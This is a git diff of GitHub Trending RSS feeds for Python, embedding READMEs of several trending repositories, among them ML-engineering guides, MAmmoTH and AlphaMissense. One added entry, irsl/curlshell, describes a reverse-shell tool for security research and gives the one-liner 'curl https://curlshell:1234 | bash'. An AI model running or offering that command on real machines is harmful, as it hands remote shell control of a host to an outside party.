5499a999a3b..00000000000 --- a/python-traceback/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Python traceback Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:59:17Z - Weekly Trending of Python traceback in GitHub - - \ No newline at end of file diff --git a/python/daily/index.xml b/python/daily/index.xml index 264a36bfcdc..9d55db7126c 100644 --- a/python/daily/index.xml +++ b/python/daily/index.xml @@ -1,28 +1,28 @@ GitHub Python Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:39:11Z + 2023-09-25T01:38:13Z Daily Trending of Python in GitHub - stas00/ml-engineering - 2023-09-24T01:39:11Z - tag:github.com,2023-09-24:/stas00/ml-engineering - - <p>Machine Learning Engineering Guides and Tools</p><hr><h1>Machine Learning Engineering Guides and Tools</h1> <p>An open collection of methodologies to help with successful training of large language models and multi-modal models.</p> <p>This is a technical material suitable for LLM/VLM training engineers and operators. That is the content here contains lots of scripts and copy-n-paste commands to enable you to quickly address your needs.</p> <p>This repo is an ongoing brain dump of my experiences training Large Language Models (LLM) (and VLMs); a lot of the know-how I acquired while training the open-source <a href="https://huggingface.co/bigscience/bloom">BLOOM-176B</a> model in 2022 and <a href="https://huggingface.co/HuggingFaceM4/idefics-80b-instruct">IDEFICS-80B</a> multi-modal model in 2023. Currently, I'm working on developing/training open-source Retrieval Augmented models at <a href="https://contextual.ai/">Contextual.AI</a>.</p> <p>I've been compiling this information mostly for myself so that I could quickly find solutions I have already researched in the past and which have worked, but as usual I'm happy to share these with the wider ML community.</p> <h2><a href="https://raw.githubusercontent.com/stas00/ml-engineering/master/debug/">Debugging software and hardware failures</a></h2> <h2><a href="https://raw.githubusercontent.com/stas00/ml-engineering/master/performance/">Performance</a></h2> <h2><a href="https://raw.githubusercontent.com/stas00/ml-engineering/master/multi-node">Multi-Node networking</a></h2> <h2><a href="https://raw.githubusercontent.com/stas00/ml-engineering/master/model-parallelism/">Model parallelism</a></h2> <h2><a href="https://raw.githubusercontent.com/stas00/ml-engineering/master/dtype/">Tensor precision / Data types</a></h2> <h2><a href="https://raw.githubusercontent.com/stas00/ml-engineering/master/hparams/">Training hyper-parameters and model initializations</a></h2> <h2><a href="https://raw.githubusercontent.com/stas00/ml-engineering/master/reproducibility/">Reproducibility</a></h2> <h2><a href="https://raw.githubusercontent.com/stas00/ml-engineering/master/instabilities/">Instabilities</a></h2> <h2><a href="https://raw.githubusercontent.com/stas00/ml-engineering/master/slurm/">SLURM</a></h2> <h2><a href="https://raw.githubusercontent.com/stas00/ml-engineering/master/resources/">Resources</a></h2> <h2><a href="https://raw.githubusercontent.com/stas00/ml-engineering/master/transformers/">HF Transformers notes</a></h2> <h1>Contributing</h1> <p>If you found a bug, typo or would like to propose an improvement please don't hesitate to open an <a href="https://raw.githubusercontent.com/stas00/ml-engineering/master/Issue">Issue</a> or contribute a PR.</p> <h2>License</h2> <p>The content of this site is distributed under <a href="https://raw.githubusercontent.com/stas00/ml-engineering/master/LICENSE-CC-BY-SA">Attribution-ShareAlike 4.0 International</a>.</p> + daveshap/Medical_Intake + 2023-09-25T01:38:13Z + tag:github.com,2023-09-25:/daveshap/Medical_Intake + + <p>Automated pipeline for medical intake, diagnosis, tests, etc.</p><hr><h1>Medical Intake Experiment</h1> <p>Automated pipeline for medical intake, diagnosis, tests, etc. Meant to be used as a clinical aid.</p> <p>Introductory video here: <a href="https://youtu.be/EAger7jOrsA">https://youtu.be/EAger7jOrsA</a></p> <h1>Medical Device Disclaimer</h1> <p>This software, found under this repository and licensed under the MIT license, is an experimental project and is NOT a medical device. It is not intended to be used as a medical device or as a substitute for professional medical advice, diagnosis, or treatment.</p> <p>The software is designed to test artificial intelligence's ability to perform patient intake, chart notes, and offer investigative and diagnostic aid. However, it is important to note that this software has NOT been tested, validated, or approved by the Food and Drug Administration (FDA) or any other regulatory body for medical devices.</p> <p>The software is provided "AS IS", without warranty of any kind, express or implied, including but not limited to the warranties of merchantability, fitness for a particular purpose and non-infringement. In no event shall the authors or copyright holders be liable for any claim, damages or other liability, whether in an action of contract, tort or otherwise, arising from, out of or in connection with the software or the use or other dealings in the software.</p> <p>The use of this software is purely for scientific inquiry and should not be used for diagnosing or treating health problems, or for prescribing any medication or other treatment. Always seek the advice of your physician or other qualified health provider with any questions you may have regarding a medical condition. Never disregard professional medical advice or delay in seeking it because of something you have read or interpreted from the software.</p> <p>By using this software, you acknowledge and agree that you understand this disclaimer and that you use the software at your own risk. If you do not agree with this disclaimer, do not use the software.</p> <p>This disclaimer may be updated from time to time, and it is the responsibility of the user to review and comply with the current version of the disclaimer.</p> <h1>Usage</h1> <p>It's pretty much automatic. Just fire up <code>chat.py</code> and it will take you through the whole process. Everything will be saved out to <code>logs/</code></p> - Dicklesworthstone/automatic_log_collector_and_analyzer - 2023-09-24T01:39:11Z - tag:github.com,2023-09-24:/Dicklesworthstone/automatic_log_collector_and_analyzer - - <p>Replace Splunk in your small company with this one weird trick!</p><hr><h1>Automatically Download and Analyze Log Files from Remote Machines</h1> <p>This application is designed to collect and analyze logs from remote machines hosted on Amazon Web Services (AWS) and other cloud hosting services.</p> <p><strong>Note</strong>: This application was specifically designed for use with Pastel Network's log files. However, it can be easily adapted to work with any log files by modifying the parsing functions, data models, and specifying the location and names of the log files to be downloaded. It is compatible with log files stored in a standard format, where each entry is on a separate line and contains a timestamp, a log level, and a message. The application has been tested with log files several gigabytes in size from dozens of machines and can process all of it in minutes. It is designed for Ubuntu 22.04+, but can be adapted for other Linux distributions.</p> <p><img src="https://raw.githubusercontent.com/Dicklesworthstone/automatic_log_collector_and_analyzer/main/demo_screenshot.png" alt="Demo Screenshot:"></p> <h2>Customization</h2> <p>To adapt this application for your own use case, refer to the included sample log files and compare them to the parsing functions in the code. You can also modify the data models to store log entries as desired.</p> <h2>Features</h2> <p>The application consists of various Python scripts that perform the following functions:</p> <ul> <li><strong>Connect to Remote Machines</strong>: Using the boto3 library for AWS instances and an Ansible inventory file for non-AWS instances, the application establishes SSH connections to each remote machine.</li> <li><strong>Download and Parse Log Files</strong>: Downloads specified log files from each remote machine and parses them. The parsed log entries are then queued for database insertion.</li> <li><strong>Insert Log Entries into Database</strong>: Uses SQLAlchemy to insert the parsed log entries from the queue into an SQLite database.</li> <li><strong>Process and Analyze Log Entries</strong>: Processes and analyzes log entries stored in the database, offering functions to find error entries and create views of aggregated data based on specified criteria.</li> <li><strong>Generate Network Activity Data</strong>: Fetches and processes network activity data from each remote machine.</li> <li><strong>Expose Database via Web App using Datasette</strong>: Once the database is generated, it can be shared over the web using Datasette.</li> </ul> <h2>Compatibility</h2> <p>The tool is compatible with both AWS-hosted instances and any list of Linux instances stored in a standard Ansible inventory file with the following structure:</p> <pre><code class="language-yaml">all: vars: ansible_connection: ssh ansible_user: ubuntu ansible_ssh_private_key_file: /path/to/ssh/key/file.pem hosts: MyCoolMachine01: ansible_host: 1.2.3.41 MyCoolMachine02: ansible_host: 1.2.3.19 </code></pre> <p>(Both can be used seamlessly.)</p> <h2>Warning</h2> <p>To simplify the code, the tool is designed to delete all downloaded log files and generated databases each time it runs. Consequently, this can consume significant bandwidth depending on your log files' size. However, the design's high level of parallel processing and concurrency allows it to run quickly, even when connecting to dozens of remote machines and downloading hundreds of log files.</p> <h2>Usage</h2> <p>Designed for Ubuntu 22.04+, first install the requirements:</p> <pre><code class="language-bash">python3 -m venv venv source venv/bin/activate python3 -m pip install --upgrade pip python3 -m pip install wheel pip install -r requirements.txt </code></pre> <p>You will also need to install Redis:</p> <pre><code class="language-bash">sudo apt install redis -y </code></pre> <p>And install Datasette to expose the results as a website:</p> <pre><code class="language-bash">sudo apt install pipx -y &amp;&amp; pipx ensurepath &amp;&amp; pipx install datasette </code></pre> <p>To run the application every 30 minutes as a cron job, execute:</p> <pre><code class="language-bash">crontab -e </code></pre> <p>And add the following line:</p> <pre><code class="language-bash">*/15 * * * * . $HOME/.profile; /home/ubuntu/automatic_log_collector_and_analyzer/venv/bin/python /home/ubuntu/automatic_log_collector_and_analyzer/automatic_log_collector_and_analyzer.py &gt;&gt; /home/ubuntu/automatic_log_collector_and_analyzer/log_$(date +\%Y-\%m-\%dT\%H_\%M_\%S).log 2&gt;&amp;1 </code></pre> + TIGER-AI-Lab/MAmmoTH + 2023-09-25T01:38:13Z + tag:github.com,2023-09-25:/TIGER-AI-Lab/MAmmoTH + + <p>This repo contains the code and data for "MAmmoTH: Building Math Generalist Models through Hybrid Instruction Tuning"</p><hr><h1><strong>MAmmoTH</strong> 🦣</h1> <p>This repo contains the code, data, and models for "<a href="https://arxiv.org/pdf/2309.05653.pdf">MAmmoTH: Building Math Generalist Models through Hybrid Instruction Tuning</a>"</p> <div align="center"> 🔥 🔥 🔥 Check out our <a href="https://tiger-ai-lab.github.io/MAmmoTH/">[Project Page]</a> for more results and analysis! </div> <br> <div align="center"> <img src="https://raw.githubusercontent.com/TIGER-AI-Lab/MAmmoTH/main/mammoth_github.png" width="80%" title="Introduction Figure"> </div> <h3>Datasets and Models</h3> <p>Our dataset and models are all available at Huggingface.</p> <p>🤗 <a href="https://huggingface.co/datasets/TIGER-Lab/MathInstruct">MathInstruct Dataset</a></p> <table> <thead> <tr> <th></th> <th>Base Model: Llama-2</th> <th>Base Model: Code Llama</th> </tr> </thead> <tbody> <tr> <td>7B</td> <td>🦣 <a href="https://huggingface.co/TIGER-Lab/MAmmoTH-7B">MAmmoTH-7B</a></td> <td>🦣 <a href="https://huggingface.co/TIGER-Lab/MAmmoTH-Coder-7B">MAmmoTH-Coder-7B</a></td> </tr> <tr> <td>13B</td> <td>🦣 <a href="https://huggingface.co/TIGER-Lab/MAmmoTH-13B">MAmmoTH-13B</a></td> <td>🦣 <a href="https://huggingface.co/TIGER-Lab/MAmmoTH-Coder-13B">MAmmoTH-Coder-13B</a></td> </tr> <tr> <td>34B</td> <td>-</td> <td>🦣 <a href="https://huggingface.co/TIGER-Lab/MAmmoTH-Coder-34B">MAmmoTH-Coder-34B</a></td> </tr> <tr> <td>70B</td> <td>🦣 <a href="https://huggingface.co/TIGER-Lab/MAmmoTH-70B">MAmmoTH-70B</a></td> <td>-</td> </tr> </tbody> </table> <h2><strong>Table of Contents</strong></h2> <ul> <li><a href="https://raw.githubusercontent.com/TIGER-AI-Lab/MAmmoTH/main/#introduction">📌 Introduction</a></li> <li><a href="https://raw.githubusercontent.com/TIGER-AI-Lab/MAmmoTH/main/#installation">⚙️ Installation</a></li> <li><a href="https://raw.githubusercontent.com/TIGER-AI-Lab/MAmmoTH/main/#training-and-inference">🛠️ Training and Inference</a></li> <li><a href="https://raw.githubusercontent.com/TIGER-AI-Lab/MAmmoTH/main/#license">📜 License</a></li> <li><a href="https://raw.githubusercontent.com/TIGER-AI-Lab/MAmmoTH/main/#citation">📖 Citation</a></li> </ul> <h2><strong>Introduction</strong></h2> <p>We introduce MAmmoTH 🦣, a series of open-source large language models (LLMs) specifically tailored for general math problem-solving. The MAmmoTH models are trained on MathInstruct, a meticulously curated instruction tuning dataset that is lightweight yet generalizable. MathInstruct is compiled from 13 math rationale datasets, six of which are newly curated by this work. It uniquely focuses on the hybrid use of chain-of-thought (CoT) and program-of-thought (PoT) rationales, and ensures extensive coverage of diverse mathematical fields.</p> <h2><strong>Installation</strong></h2> <p>Clone this repository and install the required packages:</p> <pre><code class="language-bash">git clone https://github.com/TIGER-AI-Lab/MAmmoTH.git cd MAmmoTH pip install -r requirements.txt </code></pre> <h2><strong>Training and Inference</strong></h2> <h3><strong>Data Loading</strong></h3> <p>Run the following command to preprocess the data:</p> <pre><code class="language-python">from datasets import load_dataset dataset = load_dataset("TIGER-Lab/MathInstruct") </code></pre> <h3><strong>Quick Start</strong></h3> <p>To play with our model, run:</p> <pre><code class="language-python">from transformers import pipeline pipeline = pipeline("text-generation", "TIGER-Lab/MAmmoTH-Coder-7B") alpaca_template = "Below is an instruction that describes a task. Write a response that appropriately completes the request.\n### Instruction:\n{query}\n\n### Response:" query = "Janet's ducks lay 16 eggs per day. She eats three for breakfast every morning and bakes muffins for her friends every day with four. She sells the remainder at the farmers' market daily for $2 per fresh duck egg. How much in dollars does she make every day at the farmers' market?" ### By default, MAmmoTH will output the Chain-of-thought (CoT) rationale rationale_prefix = "" ### You can let MAmmoTH output Program-of-thought (PoT) rationale by simply adding rationale_prefix = " Let's write a program." input = alpaca_template.format(query = query + rationale_prefix) output = pipeline(input)[0]['generated_text'] print(output) </code></pre> <h3><strong>Large-scale Evaluation</strong></h3> <p>To replicate the experimental results in our paper, run:</p> <pre><code class="language-bash">### For open-eneded questions, the dataset should be one of ### ['gsm8k', 'svamp', 'math', 'numglue', 'deepmind', 'simuleq'] ### We use PoT for open-eneded questions and set --stem_flan_type "pot_prompt" dataset='math' python run_open.py \ --model "TIGER-Lab/MAmmoTH-Coder-7B" \ --shots 0 \ --stem_flan_type "pot_prompt" \ --batch_size 8 \ --dataset $dataset \ --model_max_length 1500 \ --cot_backup \ --print </code></pre> <pre><code class="language-bash">### For mutilple-choice questions, the dataset should be one of ### ['aqua', 'sat', 'mmlu_mathematics']. ### We use CoT for mutilple-choice questions and set --stem_flan_type "" dataset='aqua' python run_choice.py \ --model "TIGER-Lab/MAmmoTH-Coder-7B" \ --shots 0 \ --match_answer "self" --stem_flan_type "" \ --batch_size 8 \ --dataset $dataset \ --print </code></pre> <h3><strong>Fine-tuning</strong></h3> <p>To train the 7B/13B model, run:</p> <pre><code class="language-bash">torchrun --nproc_per_node [$WORKER_GPU] \ --master_addr [$WORKER_0_HOST] \ --node_rank [$ROLE_INDEX] \ --master_port [$WORKER_0_PORT] \ --nnodes [$WORKER_NUM] \ train.py \ --model_name_or_path "codellama/CodeLlama-7b-hf" \ --data_path "TIGER-Lab/MathInstruct" \ --bf16 True \ --output_dir checkpoints/MAmmoTH-Coder-7B \ --num_train_epochs 3 \ --per_device_train_batch_size 2 \ --per_device_eval_batch_size 1 \ --gradient_accumulation_steps 8 \ --evaluation_strategy "no" \ --save_strategy "steps" \ --save_steps 2000\ --save_total_limit 1 \ --learning_rate 2e-5 \ --weight_decay 0. \ --warmup_ratio 0.03 \ --lr_scheduler_type "cosine" \ --logging_steps 1 \ --fsdp "full_shard auto_wrap" \ --fsdp_transformer_layer_cls_to_wrap 'LlamaDecoderLayer' \ --tf32 True </code></pre> <p>To train the 34B/70B model, run:</p> <pre><code class="language-bash">torchrun --nproc_per_node [$WORKER_GPU] \ --master_addr [$WORKER_0_HOST] \ --node_rank [$ROLE_INDEX] \ --master_port [$WORKER_0_PORT] \ --nnodes [$WORKER_NUM] \ train.py \ --model_name_or_path "codellama/CodeLlama-34b-hf" \ --data_path "TIGER-Lab/MathInstruct" \ --bf16 True \ --output_dir checkpoints/MAmmoTH-Coder-34B \ --num_train_epochs 3 \ --per_device_train_batch_size 1 \ --per_device_eval_batch_size 1 \ --gradient_accumulation_steps 2 \ --evaluation_strategy "no" \ --save_strategy "epoch" \ --save_total_limit 1 \ --learning_rate 1e-5 \ --weight_decay 0. \ --warmup_ratio 0.03 \ --lr_scheduler_type "cosine" \ --logging_steps 1 \ --deepspeed "ds_config/ds_config_zero3.json" \ --tf32 True </code></pre> <h2>Prompt Format</h2> <p>If you want to do CoT:</p> <pre><code>Below is an instruction that describes a task. Write a response that appropriately completes the request. ### Instruction: {instruction} ### Response: </code></pre> <p>If you want to do PoT:</p> <pre><code>Below is an instruction that describes a task. Write a response that appropriately completes the request. ### Instruction: {instruction} Let's write a program. ### Response: </code></pre> <h2><strong>License</strong></h2> <p>Please check out the license of each subset in our curated dataset MathInstruct.</p> <table> <thead> <tr> <th>Dataset Name</th> <th>License Type</th> </tr> </thead> <tbody> <tr> <td>GSM8K</td> <td>MIT</td> </tr> <tr> <td>GSM8K-RFT</td> <td>Non listed</td> </tr> <tr> <td>AQuA-RAT</td> <td>Apache 2.0</td> </tr> <tr> <td>MATH</td> <td>MIT</td> </tr> <tr> <td>TheoremQA</td> <td>MIT</td> </tr> <tr> <td>Camel-Math</td> <td>Attribution-NonCommercial 4.0 International</td> </tr> <tr> <td>NumGLUE</td> <td>Apache-2.0</td> </tr> <tr> <td>CrowdSourced (Lila)</td> <td>Attribution 4.0 International</td> </tr> <tr> <td>MathQA</td> <td>Apache-2.0</td> </tr> <tr> <td>Our Curated</td> <td>MIT</td> </tr> </tbody> </table> <h2><strong>Citation</strong></h2> <p>Please cite our paper if you use our data, model or code. Please also kindly cite the original dataset papers.</p> <pre><code>@article{yue2023mammoth, title={MAmmoTH: Building Math Generalist Models through Hybrid Instruction Tuning}, author={Xiang Yue, Xingwei Qu, Ge Zhang, Yao Fu, Wenhao Huang, Huan Sun, Yu Su, Wenhu Chen}, journal={arXiv preprint arXiv:2309.05653}, year={2023} } </code></pre> - google-deepmind/alphamissense - 2023-09-24T01:39:11Z - tag:github.com,2023-09-24:/google-deepmind/alphamissense - - <p></p><hr><h1>AlphaMissense</h1> <p>This package provides the AlphaMissense model implementation. This implementation is provided for reference alongside the <a href="https://www.science.org/doi/10.1126/science.adg7492">AlphaMissense 2023 publication</a> and will not be actively maintained moving forward.</p> <p>We forked the <a href="https://github.com/google-deepmind/alphafold/tree/v2.3.2">AlphaFold repository</a> and modified it to implement AlphaMissense.</p> <p>What we provide:</p> <ul> <li> <p>Detailed implementation of the AlphaMissense model and training losses (<a href="https://github.com/deepmind/alphamissense/raw/main/alphamissense/model/modules_missense.py">modules_missense.py</a>)</p> </li> <li> <p>The data pipeline to create input features for inference (<a href="https://github.com/deepmind/alphamissense/raw/main/alphamissense/data/pipeline_missense.py">pipeline_missense.py</a>). The data pipeline requires access to genetic databases for multiple sequence alignments and, if using spatial cropping, protein structures of the AlphaFold Database hosted in Google Cloud Storage. Please see the section for genetic databases and <a href="https://github.com/deepmind/alphafold/tree/main/afdb">AFDB readme file</a>) to learn how to access these datasets.</p> </li> <li> <p>Pre-computed predictions for all possible human amino acid substitutions and missense variants (<a href="https://console.cloud.google.com/storage/browser/dm_alphamissense">hosted here</a>).</p> </li> </ul> <p>What we don’t provide:</p> <ul> <li>The trained AlphaMissense model weights.</li> </ul> <h2>Access AlphaMissense predictions:</h2> <p>Predictions for human major transcripts and isoforms are provided <a href="https://console.cloud.google.com/storage/browser/dm_alphamissense">here</a>. You can use these files with the VEP tool and <a href="https://www.ensembl.org/info/docs/tools/vep/script/vep_plugins.html">AlphaMissense plug-in</a>.</p> <h2>Installation</h2> <ol> <li>Install all dependencies:</li> </ol> <pre><code class="language-bash">sudo apt install python3.11-venv aria2 hmmer </code></pre> <ol start="2"> <li>Clone this repository and <code>cd</code> into it.</li> </ol> <pre><code class="language-bash">git clone https://github.com/deepmind/alphamissense.git cd ./alphamissense </code></pre> <ol start="3"> <li>Set up a Python virtual environment and install the Python dependencies:</li> </ol> <pre><code class="language-bash">python3 -m venv ./venv venv/bin/pip install -r requirements.txt venv/bin/pip install -e . </code></pre> <ol start="4"> <li>Test the installation</li> </ol> <pre><code class="language-bash">venv/bin/python test/test_installation.py </code></pre> <h2>Usage</h2> <p>Because we are not releasing the trained model weights, the code is not meant to be used for making new predictions, but serve as an implementation reference. We are releasing the data pipeline, model and loss function code.</p> <p>The data pipeline requires a FASTA file (i.e. <code>protein_sequence_file</code>) which should contain all target sequences, and the genetic sequence databases outlined in the next section.</p> <pre><code class="language-python">from alphamissense.data import pipeline_missense protein_sequence_file = ... pipeline = pipeline_missense.DataPipeline( jackhmmer_binary_path=..., # Typically '/usr/bin/jackhmmer'. protein_sequence_file=protein_sequence_file, uniref90_database_path=DATABASES_DIR + '/uniref90/uniref90.fasta', mgnify_database_path=DATABASES_DIR + '/mgnify/mgy_clusters_2022_05.fa', small_bfd_database_path=DATABASES_DIR + '/small_bfd/bfd-first_non_consensus_sequences.fasta', ) sample = pipeline.process( protein_id=..., # Sequence identifier in the FASTA file. reference_aa=..., # Single capital letter, e.g. 'A'. alternate_aa=..., position=..., # Integer, note that the position is 1-based! msa_output_dir=msa_output_dir, ) </code></pre> <p>The model is implemented as a JAX module and can be instantiated for example as:</p> <pre><code class="language-python">from alphamissense.model import config from alphamissense.model import modules_missense def _forward_fn(batch): model = modules_missense.AlphaMissense(config.model_config().model) return model(batch, is_training=False, return_representations=False) random_seed = 0 prng = jax.random.PRNGKey(random_seed) params = hk.transform(_forward_fn).init(prng, sample) apply = jax.jit(hk.transform(_forward_fn).apply) output = apply(params, prng, sample) </code></pre> <p>For example, at this point the score of the variant would be stored in <code>output['logit_diff']['variant_pathogenicity']</code>.</p> <h2>Genetic databases</h2> <p>AlphaMissense used multiple genetic (sequence) databases for multiple sequence alignments:</p> <ul> <li><a href="https://bfd.mmseqs.com/">BFD</a>,</li> <li><a href="https://www.ebi.ac.uk/metagenomics/">MGnify</a>,</li> <li><a href="https://www.uniprot.org/help/uniref">UniRef90</a>.</li> </ul> <p>We refer to the <a href="https://github.com/deepmind/alphafold">AlphaFold repository</a> for instructions on how to download these databases.</p> <h2>Citing this work</h2> <p>Any publication that discloses findings arising from using this source code should cite:</p> <pre><code class="language-bibtex">@article {AlphaMissense2023, author = {Jun Cheng, Guido Novati, Joshua Pan, Clare Bycroft, Akvilė Žemgulytė, Taylor Applebaum, Alexander Pritzel, Lai Hong Wong, Michal Zielinski, Tobias Sargeant, Rosalia G. Schneider, Andrew W. Senior, John Jumper, Demis Hassabis, Pushmeet Kohli, Žiga Avsec}, journal = {Science}, title = {Accurate proteome-wide missense variant effect prediction with AlphaMissense}, year = {2023}, doi = {10.1126/science.adg7492}, URL = {https://www.science.org/doi/10.1126/science.adg7492}, } </code></pre> <h2>Acknowledgements</h2> <p>AlphaMissense communicates with and/or references the following separate libraries and packages:</p> <ul> <li>Abseil</li> <li>Biopython</li> <li>HMMER Suite</li> <li>Haiku</li> <li>Immutabledict</li> <li>JAX</li> <li>Matplotlib</li> <li>NumPy</li> <li>Pandas</li> <li>SciPy</li> <li>Tree</li> <li>Zstandard We thank all their contributors and maintainers!</li> </ul> <h2>License and Disclaimer</h2> <p>This is not an officially supported Google product.</p> <p>The information within the AlphaMissense Database and the model implementation is provided for theoretical modelling only, caution should be exercised in its use. This information is not intended to be a substitute for professional medical advice, diagnosis, or treatment, and does not constitute medical or other professional advice.</p> <p>Copyright 2023 DeepMind Technologies Limited.</p> <h3>AlphaMissense Code License</h3> <p>Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at <a href="https://www.apache.org/licenses/LICENSE-2.0">https://www.apache.org/licenses/LICENSE-2.0</a>.</p> <p>Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.</p> <h3>AlphaMissense predictions License</h3> <p>AlphaMissense predictions are made available under the terms of the Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International (CC BY-NC-SA 4.0) license. You can find details at: <a href="https://creativecommons.org/licenses/by-nc-sa/4.0/">https://creativecommons.org/licenses/by-nc-sa/4.0/</a></p> <h3>Third-party software</h3> <p>Use of the third-party software, libraries or code referred to in the <a href="https://raw.githubusercontent.com/google-deepmind/alphamissense/main/#acknowledgements">Acknowledgements</a> section above may be governed by separate terms and conditions or license provisions. Your use of the third-party software, libraries or code is subject to any such terms and you should check that you can comply with any applicable restrictions or terms and conditions before use.</p> + irsl/curlshell + 2023-09-25T01:38:13Z + tag:github.com,2023-09-25:/irsl/curlshell + + <p>reverse shell using curl</p><hr><h1>Reverse shell using curl</h1> <p>During security research, you may end up running code in an environment, where establishing raw TCP connections to the outside world is not possible; outgoing connection may only go through a connect proxy (HTTPS_PROXY). This simple interactive HTTP server provides a way to mux stdin/stdout and stderr of a remote reverse shell over that proxy with the help of curl.</p> <h2>Usage</h2> <p>Start your listener:</p> <pre><code>./curlshell.py --certificate fullchain.pem --private-key privkey.pem --listen-port 1234 </code></pre> <p>On the remote side:</p> <pre><code>curl https://curlshell:1234 | bash </code></pre> <p>That's it!</p> \ No newline at end of file diff --git a/python/weekly/index.xml b/python/weekly/index.xml deleted file mode 100644 index d6ae3b37900..00000000000 --- a/python/weekly/index.xml +++ /dev/null @@ -1,28 +0,0 @@ - - GitHub Python Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:58:55Z - Weekly Trending of Python in GitHub - - - aiwaves-cn/agents - 2023-09-24T01:58:55Z - tag:github.com,2023-09-24:/aiwaves-cn/agents - - <p>An Open-source Framework for Autonomous Language Agents</p><hr><h1><p align="center"><img src="https://raw.githubusercontent.com/aiwaves-cn/agents/master/assets/agents-logo.png" width="300"> </p></h1> <h2><p align="center" style="display:inline-block;"><font face="Calisto MT"><font size="4">An Open-source Framework for Autonomous Language Agents</font></font></p></h2> <p align="center"><a href="https://arxiv.org/pdf/2309.07870.pdf">[📄 Paper]</a> <a href="http://www.aiwaves-agents.com/">[🌐 Website]</a> <a href="https://raw.githubusercontent.com/aiwaves-cn/agents/master/#web-demos">[🤖️ Demos]</a> <a href="https://discord.gg/DDPBeFt7">[🔥 Discord]</a> <a href="https://raw.githubusercontent.com/aiwaves-cn/agents/master/assets/wechat.jpg">[🔥 Wechat Group] </a> </p> <p></p> <hr> <h2>Overview</h2> <p><strong>Agents</strong> is an open-source library/framework for building autonomous language agents. The library is carefully engineered to support important features including <strong>long-short term memory</strong>, <strong>tool usage</strong>, <strong>web navigation</strong>, <strong>multi-agent communication</strong>, and brand new features including <strong>human-agent interaction</strong> and <strong>symbolic control</strong>. With <strong>Agents</strong>, one can customize a language agent or a multi-agent system by simply filling in a config file in natural language and deploy the language agents in a terminal, a Gradio interface, or a backend service.</p> <p>One major difference between <strong>Agents</strong> and other existing frameworks for language agents is that our framework allows users to provide fine-grained control and guidance to language agents via an <strong>SOP (Standard Operation Process)</strong>. An SOP defines subgoals/subtasks for the overall task and allows users to customize a fine-grained workflow for the language agents.</p> <p align="center"><img src="https://raw.githubusercontent.com/aiwaves-cn/agents/master/assets/agents-cover.png" width="800"></p> <h2>📢 Updates</h2> <ul> <li><input type="checkbox" disabled> Support LLM-based SOP generation</li> <li><input type="checkbox" checked disabled> 2023.9.20 Deploy Demos on Huggingface Space</li> <li><input type="checkbox" checked disabled> 2023.9.12 Official Release</li> </ul> <h2>💡 Highlights</h2> <ul> <li><strong>Long-short Term Memory</strong>: Language agents in the library are equipped with both long-term memory implemented via VectorDB + Semantic Search and short-term memory (working memory) maintained and updated by an LLM.</li> <li><strong>Tool Usage</strong>: Language agents in the library can use any external tools via <a href="https://platform.openai.com/docs/guides/gpt/function-calling">function-calling</a> and developers can add customized tools/APIs <a href="https://github.com/aiwaves-cn/agents/raw/master/src/agents/Component/ToolComponent.py">here</a>.</li> <li><strong>Web Navigation</strong>: Language agents in the library can use search engines to navigate the web and get useful information.</li> <li><strong>Multi-agent Communication</strong>: In addition to single language agents, the library supports building multi-agent systems in which language agents can communicate with other language agents and the environment. Different from most existing frameworks for multi-agent systems that use pre-defined rules to control the order for agents' action, <strong>Agents</strong> includes a <em>controller</em> function that dynamically decides which agent will perform the next action using an LLM by considering the previous actions, the environment, and the target of the current states. This makes multi-agent communication more flexible.</li> <li><strong>Human-Agent interaction</strong>: In addition to letting language agents communicate with each other in an environment, our framework seamlessly supports human users to play the role of the agent by himself/herself and input his/her own actions, and interact with other language agents in the environment.</li> <li><strong>Symbolic Control</strong>: Different from existing frameworks for language agents that only use a simple task description to control the entire multi-agent system over the whole task completion process, <strong>Agents</strong> allows users to use an <strong>SOP (Standard Operation Process)</strong> that defines subgoals/subtasks for the overall task to customize fine-grained workflows for the language agents.</li> </ul> <h2>🛠 Installation</h2> <h4>Option 1. Build from source</h4> <pre><code>git clone https://github.com/aiwaves-cn/agents.git cd agents pip install -e . </code></pre> <h4>Option 2. Install via PyPI</h4> <pre><code>pip install ai-agents </code></pre> <h2>📦 Usage</h2> <h3>🛠️ Generate the config file</h3> <h4>Option 1. Fill in the config template manually</h4> <p>Modify <code>example/{Muti|Single_Agent}/{target_agent}/config.json</code></p> <h4>Option 2. Try our <a href="http://www.aiwaves.cn/create-agent/">WebUI</a> for customizing the config file.</h4> <p>Haven't figured out how to write the JSON file yet? Check out our <a href="https://agents-readthedocsio.readthedocs.io/en/latest/index.html">documentation</a>!</p> <h3>🤖️ The Agent Hub</h3> <p>We provide an <strong>AgentHub</strong>, where you can search for interesting Agents shared by us or other developers, try them out or use them as the starting point to customize your own agent. We encourage you to share your customized agents to help others build their own agents more easily! You can share your customized agents by submitting PRs that adds configs and customized codes <a href="https://github.com/aiwaves-cn/agents/tree/master/examples/Community_Agent">here</a>. You can also send us your own config files and codes for customized agents by <a href="mailto:contact@aiwaves.cn">email</a>, and we will share your examples and acknowledge your contribution in future updates!</p> <p><em>A WebUI for automatically uploading of your customized agents will be available soon!</em></p> <h2>📷 Examples and Demos</h2> <p>We have provided exemplar config files, code, and demos for both single-agent and multi-agent systems <a href="https://github.com/aiwaves-cn/agents/tree/master/examples">here</a>.</p> <h3>Web demos</h3> <h4>Note</h4> <p>1.Due to massive traffic, our online demos may suffer from long queue time and unstable issues. <strong>Please follow our <a href="https://github.com/aiwaves-cn/agents/raw/master/examples/README.md">quick start guide</a>) and deploy language agents locally for testing. Or checkout our <a href="http://www.aiwaves-agents.com/">website</a></strong>. 2.Software Company is unable to generate executable code online, <strong>if you wish to generate executable code directly, please run it locally :)</strong></p> <ul> <li><a href="https://www.aiwaves.cn/customer-service-agent/">Customer Service Agent</a></li> <li><a href="https://huggingface.co/spaces/AIWaves/Debate">Debate</a>[now on Huggingface Space]</li> <li><a href="https://huggingface.co/spaces/AIWaves/Software_Company">Software Company</a>[now on Huggingface 